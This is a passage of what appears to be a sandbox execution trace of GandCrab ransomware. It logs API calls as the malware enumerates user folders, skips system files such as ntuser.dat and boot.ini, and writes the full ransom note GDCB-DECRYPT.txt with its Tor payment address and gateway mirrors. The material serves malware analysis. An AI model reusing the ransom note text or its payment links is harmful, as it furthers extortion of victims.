dwFreeType=0x8000) returned 1 [0054.080] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.080] lstrcmpW (lpString1="Excel 2016.lnk", lpString2=".") returned 1 [0054.080] lstrcmpW (lpString1="Excel 2016.lnk", lpString2="..") returned 1 [0054.080] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Excel 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk" [0054.080] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.080] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned 113 [0054.080] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned 113 [0054.080] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.080] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.080] lstrcmpW (lpString1="File Explorer.lnk", lpString2=".") returned 1 [0054.080] lstrcmpW (lpString1="File Explorer.lnk", lpString2="..") returned 1 [0054.080] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="File Explorer.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" [0054.080] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.080] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned 116 [0054.080] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned 116 [0054.080] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.081] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.081] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.081] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.081] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt" [0054.081] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.081] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt") returned 115 [0054.081] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt") returned 115 [0054.081] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt") returned 115 [0054.081] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt") returned 115 [0054.081] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.081] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.081] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.081] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.081] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.081] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.081] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.081] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.081] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.081] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.081] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.081] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2=".") returned 1 [0054.081] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2="..") returned 1 [0054.081] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Mozilla Firefox.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" [0054.081] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.081] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned 118 [0054.081] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned 118 [0054.081] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.082] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.082] lstrcmpW (lpString1="OneNote 2016.lnk", lpString2=".") returned 1 [0054.082] lstrcmpW (lpString1="OneNote 2016.lnk", lpString2="..") returned 1 [0054.082] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="OneNote 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk" [0054.082] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.082] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned 115 [0054.082] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned 115 [0054.082] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.082] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.082] lstrcmpW (lpString1="Outlook 2016.lnk", lpString2=".") returned 1 [0054.082] lstrcmpW (lpString1="Outlook 2016.lnk", lpString2="..") returned 1 [0054.082] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Outlook 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk" [0054.082] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.082] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned 115 [0054.082] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned 115 [0054.082] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.082] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.082] lstrcmpW (lpString1="PowerPoint 2016.lnk", lpString2=".") returned 1 [0054.082] lstrcmpW (lpString1="PowerPoint 2016.lnk", lpString2="..") returned 1 [0054.082] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="PowerPoint 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk" [0054.083] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.083] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned 118 [0054.083] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned 118 [0054.083] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.083] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.083] lstrcmpW (lpString1="Project 2016.lnk", lpString2=".") returned 1 [0054.083] lstrcmpW (lpString1="Project 2016.lnk", lpString2="..") returned 1 [0054.083] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Project 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk" [0054.083] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.083] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned 115 [0054.083] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned 115 [0054.083] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.083] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.083] lstrcmpW (lpString1="Visio 2016.lnk", lpString2=".") returned 1 [0054.083] lstrcmpW (lpString1="Visio 2016.lnk", lpString2="..") returned 1 [0054.083] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Visio 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk" [0054.083] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.083] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned 113 [0054.083] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned 113 [0054.083] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.084] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.084] lstrcmpW (lpString1="Word 2016.lnk", lpString2=".") returned 1 [0054.084] lstrcmpW (lpString1="Word 2016.lnk", lpString2="..") returned 1 [0054.084] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Word 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk" [0054.084] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.084] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned 112 [0054.084] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned 112 [0054.084] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.084] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0054.084] FindClose (in: hFindFile=0x5b8770 | out: hFindFile=0x5b8770) returned 1 [0054.084] FindNextFileW (in: hFindFile=0x5b8bf0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0054.085] FindClose (in: hFindFile=0x5b8bf0 | out: hFindFile=0x5b8bf0) returned 1 [0054.085] FindNextFileW (in: hFindFile=0x5b8cf0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.085] lstrcmpW (lpString1="Window Switcher.lnk", lpString2=".") returned 1 [0054.085] lstrcmpW (lpString1="Window Switcher.lnk", lpString2="..") returned 1 [0054.085] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Window Switcher.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" [0054.085] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.085] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 98 [0054.085] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 98 [0054.085] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.085] FindNextFileW (in: hFindFile=0x5b8cf0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.085] FindClose (in: hFindFile=0x5b8cf0 | out: hFindFile=0x5b8cf0) returned 1 [0054.085] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.085] lstrcmpW (lpString1="UserData", lpString2=".") returned 1 [0054.085] lstrcmpW (lpString1="UserData", lpString2="..") returned 1 [0054.085] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="UserData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" [0054.085] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\" [0054.085] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.085] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.085] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.085] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.085] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.085] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.086] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\") returned 75 [0054.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*" [0054.086] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b85b0 [0054.086] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.086] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.086] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.086] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.086] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.086] lstrcmpW (lpString1="Low", lpString2=".") returned 1 [0054.086] lstrcmpW (lpString1="Low", lpString2="..") returned 1 [0054.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="Low" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" [0054.086] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned 78 [0054.086] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.086] FindClose (in: hFindFile=0x5b85b0 | out: hFindFile=0x5b85b0) returned 1 [0054.086] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.086] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\GDCB-DECRYPT.txt") returned 92 [0054.087] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.087] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.087] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.088] CloseHandle (hObject=0x4fc) returned 1 [0054.088] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.088] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\") returned 75 [0054.088] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*" [0054.088] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8730 [0054.088] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.088] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.088] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.088] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.088] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.088] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.088] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.088] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt" [0054.088] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.088] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt") returned 91 [0054.088] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt") returned 91 [0054.088] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt") returned 91 [0054.088] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt") returned 91 [0054.088] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.088] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.088] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.088] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.089] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.089] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.089] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.089] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.089] lstrcmpiW 